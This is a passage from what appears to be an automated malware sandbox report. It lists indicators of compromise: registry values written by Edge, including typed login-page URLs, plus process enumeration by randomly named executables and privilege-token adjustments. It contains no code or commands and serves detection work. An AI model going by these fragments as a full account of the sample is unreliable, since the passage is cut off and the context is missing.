    MicrosoftEdge.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliFormsMicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 758a5298ee2ed801MicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefixMicrosoftEdgeCP.exe
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Softwaresvchost.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\geminiex.net\NumberOfSubdoma = "1"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\geminiex.net\Total = "0"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "13"MicrosoftEdgeCP.exe
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\AppExtension\com.microsoft.edge.extensionsvchost.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\ActiveMicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 6d552de8bf28d801MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgeMicrosoftEdgeCP.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"MicrosoftEdgeCP.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigrationMicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000000a4589b0a477ff33cc0bdfa647cb296eea187d31f88b18f1d91ef6553fa2fdba1364f6148f3a0e60126330572a84139b175d9f872ecf89ce9358MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\RoamingMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatusMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\CookiesMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\ExtensionsMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMicMicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "{A1D60AD3-67B5-4D98-B236-10573733397F}"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"MicrosoftEdge.exe
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Local Settings\Software\Microsoftsvchost.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefixMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{EBE384C4-0985-4B71-AC3F-2753EAF83D7E} = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\geminiex.net\ = "13"MicrosoftEdgeCP.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0fc8d89cee2ed801MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usageMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\CookiesMicrosoftEdgeCP.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\HistoryMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpState = "0"MicrosoftEdgeCP.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 6d552de8bf28d801MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"MicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000a680b3e4d0342a82d485224ed351d4cd4eb5def1e726907215fe7967c9f4712b559d69a00fff50c42bc535403eaf4f82613cfd0d89b186db6bfd84b582165a6281d6dd5ac772ac28a10ac84065fe874077f08fbf84b59f799591b050957916827c4d4f3f4c2fde71e9758537cbdd77b862f10bbf9dd23bd3ecda3d9effbd5a69c6209d8371d4519470250f7173eeb7eb6a5fbe5b85a8ddf45df9f784408326444f71fef797022e02433ad93a2dd0baf1415a643728d727464f0c67e50b693a21e15ed2686c5a188b37d46f35a52270c83b02a4cc13ffc6f2e934306a461023816f0990ceeb7af3ca8a12661c2e864c38c377e0c93dc096dd0c9231a39f187407e6902d4e11044c2690167841679bd0c6fad9d1361fba8b2a7b446e70b0218a3240151f091096c45d3fffa7fad8000bb6ff48726f7e8d6e53fd6bd0bf8ccbc028c9b655c0dcd148a553ed88490257cb1cf9e431eba1d8facc9627aa9a64b7688e58958a3f0656a258a5ff26cf703ff602c7cd1fd6b83d4c405e9914814d833f7475d1c0a4c4c3dc38d3574d0dce570897a8237279cb5b47502499ba433fa79e23c4dd444f2adeMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\geminiex.net\ = "0"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\CacheMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigrationMicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefixMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpCleanupState = "0"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "0"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivateMicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152aMicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\ImageStoreRandomFolder = "q36nifd"MicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrderMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"MicrosoftEdge.exe
  • Suspicious behavior: EnumeratesProcesses
    56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exeXFMuSM__UnAKNb5y77gEozhR.exe

    Reported IOCs

    pidprocess
    349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe
    349656a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    3804XFMuSM__UnAKNb5y77gEozhR.exe
  • Suspicious behavior: MapViewOfSection
    MicrosoftEdgeCP.exe

    Reported IOCs

    pidprocess
    4532MicrosoftEdgeCP.exe
    4532MicrosoftEdgeCP.exe
  • Suspicious use of AdjustPrivilegeToken
    Ify213ZUg3KDJWvdIV4oy8Hx.exeIifLvp9EQdFf93ktNxmQ8vAV.exeWerFault.exeWerFault.exeWerFault.exelNCTEcA_699zstKfADv3bJ_j.exeWerFault.exepowershell.exeWerFault.exeWerFault.exe1ADDp5TJ9I9LidIfKqtWfZTb.exetaskkill.exe9c947346-095b-4bdc-8489-ffeb922a4b96.exetasklist.exeP7sPi_8GQ6EBndGlC6huLdOD.exeIB1Ads4Nhh2YtShUofyINhff.exetasklist.exetaskkill.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeJ7xk_zbTnzH8hQktNfo451Yx.exeMicrosoftEdgeCP.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeCreateTokenPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeAssignPrimaryTokenPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeLockMemoryPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeIncreaseQuotaPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeMachineAccountPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeTcbPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeSecurityPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeTakeOwnershipPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeLoadDriverPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeSystemProfilePrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeSystemtimePrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeProfSingleProcessPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeIncBasePriorityPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeCreatePagefilePrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeCreatePermanentPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeBackupPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeRestorePrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeShutdownPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeDebugPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeAuditPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeSystemEnvironmentPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeChangeNotifyPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeRemoteShutdownPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeUndockPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeSyncAgentPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeEnableDelegationPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeManageVolumePrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeImpersonatePrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeCreateGlobalPrivilege3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: 313380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: 323380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: 333380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: 343380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: 353380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    Token: SeDebugPrivilege2928IifLvp9EQdFf93ktNxmQ8vAV.exe
    Token: SeRestorePrivilege1632WerFault.exe
    Token: SeBackupPrivilege1632WerFault.exe
    Token: SeDebugPrivilege3084WerFault.exe
    Token: SeDebugPrivilege1124WerFault.exe
    Token: SeDebugPrivilege1632WerFault.exe
    Token: SeDebugPrivilege3024lNCTEcA_699zstKfADv3bJ_j.exe
    Token: SeDebugPrivilege4224WerFault.exe
    Token: SeDebugPrivilege3700powershell.exe
    Token: SeDebugPrivilege4580WerFault.exe
    Token: SeDebugPrivilege3644WerFault.exe
    Token: SeDebugPrivilege40281ADDp5TJ9I9LidIfKqtWfZTb.exe
    Token: SeDebugPrivilege4604taskkill.exe
    Token: SeDebugPrivilege48889c947346-095b-4bdc-8489-ffeb922a4b96.exe
    Token: SeDebugPrivilege1552tasklist.exe
    Token: SeDebugPrivilege1948P7sPi_8GQ6EBndGlC6huLdOD.exe
    Token: SeDebugPrivilege1244IB1Ads4Nhh2YtShUofyINhff.exe
    Token: SeDebugPrivilege4620tasklist.exe
    Token: SeDebugPrivilege4084taskkill.exe
    Token: SeDebugPrivilege3516MicrosoftEdge.exe
    Token: SeDebugPrivilege3516MicrosoftEdge.exe
    Token: SeDebugPrivilege3516MicrosoftEdge.exe
    Token: SeDebugPrivilege3516MicrosoftEdge.exe
    Token: SeDebugPrivilege3960MicrosoftEdgeCP.exe
    Token: SeDebugPrivilege3960MicrosoftEdgeCP.exe
    Token: SeDebugPrivilege3960MicrosoftEdgeCP.exe
